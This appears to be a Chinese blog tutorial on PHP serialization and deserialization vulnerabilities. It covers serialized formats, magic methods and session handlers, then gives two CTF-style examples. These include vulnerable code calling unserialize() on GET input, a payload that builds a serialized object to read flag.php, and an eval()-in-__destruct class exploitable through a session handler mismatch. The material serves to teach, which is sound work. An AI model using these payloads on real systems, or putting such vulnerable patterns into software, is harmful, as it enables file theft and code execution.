zoukankan      html  css  js  c++  java
  • PHP序列及反序列化安全漏洞

      尽量阐述全PHP序列化的相关东西-。-
    1.序列化和反序列化
      序列化是将变量或对象转换成字符串的过程;反序列化是将字符串转换成变量或对象的过程。
      序列化及反序列化常见函数:serialize、unserialize、json_encode、json_decode。
      序列化之后的格式:
        array(a)
          a:<length>:{key,value对},例如a:1:{i,1;j,2;}
        Boolean(b)
        double(d)
        integer(i)
        object(o)
          O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>},例如O:6:"person":2:{s:4:"name";N;d:3:"age";i:19;}(person对象name的属性值为null,age的属性值为19)
        string(s)
          s:length:"value",例如s:1:"f"
        null(N)
     
    2.PHP中魔幻函数
      construct:创建对象时初始化
      destruction:结束时销毁对象
      toString:对象被当作字符串时使用
      sleep:序列化对象之前调用
      wakeup:反序列化之前调用
      call:调用对象不存在时使用
      get:调用私有属性时使用
     
    3.php_session序列化及反序列化知识
      PHP内置了很多处理器用于对存入$session的数据进行序列化和反序列化。有三种:php_binary(形式:键名长度的ASCII码+键名+序列化的值)、php(形式:键名+“|”+序列化的值)和php_serialize(5.5.4以上版本形式:序列化的值)。可在php.ini中对session.serialize_handler进行设置,也可在代码中对ini_set('session.serialize_handler','php')进行设置。
      示例:
    代码:
    <?php
    ini_set('
    session.serialize_handler', 'php');session_start();
    $_SESSION['a'] = $_GET['a'];
    var_dump($_SESSION);
    ?>
    当网址中a=O:4:"pass":0:{}时,
    php模式下形式为a|s:15:"O:4:"pass":0:{}";
    php_serialize模式下形式为a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}
      注意,要真的模拟测试,需要百度做详细的各种PHP参数配置哈。
     
    4.安全漏洞
    例1:将已序列化值反序列化,造成魔幻函数执行
    <script language="php">
    class Flag{ //flag.php    
    public $file;    
    public function __tostring(){        
    if(isset($this->file)){            
    echo file_get_contents($this->file);            
    echo "<br />";        
    return ("good");        }    }}
    $password = unserialize($_GET['password']);  
    echo $password;   
    </script>
      说明:当对象被当做字符串(如序列化的结果是字符串)时会调用__tostring()魔幻函数。
    payload:
    <script language="php">
    class Flag{ //flag.php    
    public $file;    
    public function __tostring(){        
    if(isset($this->file)){            
    echo file_get_contents($this->file);           
    echo "<br />";        
    return ("good");        }    }}
    $obj = new Flag();
    $obj->file = "Flag.php";
    echo serialize($obj);
    </script>
      输出序列化字符串:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
      
      将此字符串放至$password变量中,执行即可获取flag.php界面的内容。
     
    例2:PHP session处理器设置不当造成安全漏洞
    <?php
    //A webshell is wait for you
    ini_set('session.serialize_handler', 'php');session_start();
    class OowoO{    
    public $mdzz;    
    function __construct()   
    {        
    $this->mdzz = 'phpinfo();';    
    }    
    function __destruct()    
    {        eval($this->mdzz);   
    }
    }
    if(isset($_GET['phpinfo']))
    {    
    $m = new OowoO();
    }
    else
    {    
    highlight_string(file_get_contents('index.php'));
    }?>
      已知,php.ini(通过phpinfo可看)中session.serialize_handler = php_serilize,代码中ini_set('session.serialize_handler', 'php');
      注意,php会以“|”为界,将之前和之后的内容分别设为键名和键值;而php_serialize恰巧对“|”不敏感。emmmmm,猜到构造方法了吧-。-
      可以给网页传入一个php_serialize的session,然后通过网页的php处理器解析后将“|”后的内容解析成值,执行之。
     
     
     
     
     
     
  • 相关阅读:
    Git设置HTTP/HTTPS代理服务器
    队列(Queue)顺序存储C语言实现
    二叉树前序序列和中序序列转为后序序列
    CFileDialog对话框中,如何修改对话框标题
    轻型读写锁 Slim Reader/Writer (SRW) Locks
    PC lint -sem 用法示例
    C# Linq 取得两个列表的交集
    wpf datagrid row的命中测试
    C# Unit Test 备注
    DataGrid 滚动特定的行或者列
  • 原文地址:https://www.cnblogs.com/HYWZ36/p/10295878.html
Copyright © 2011-2022 走看看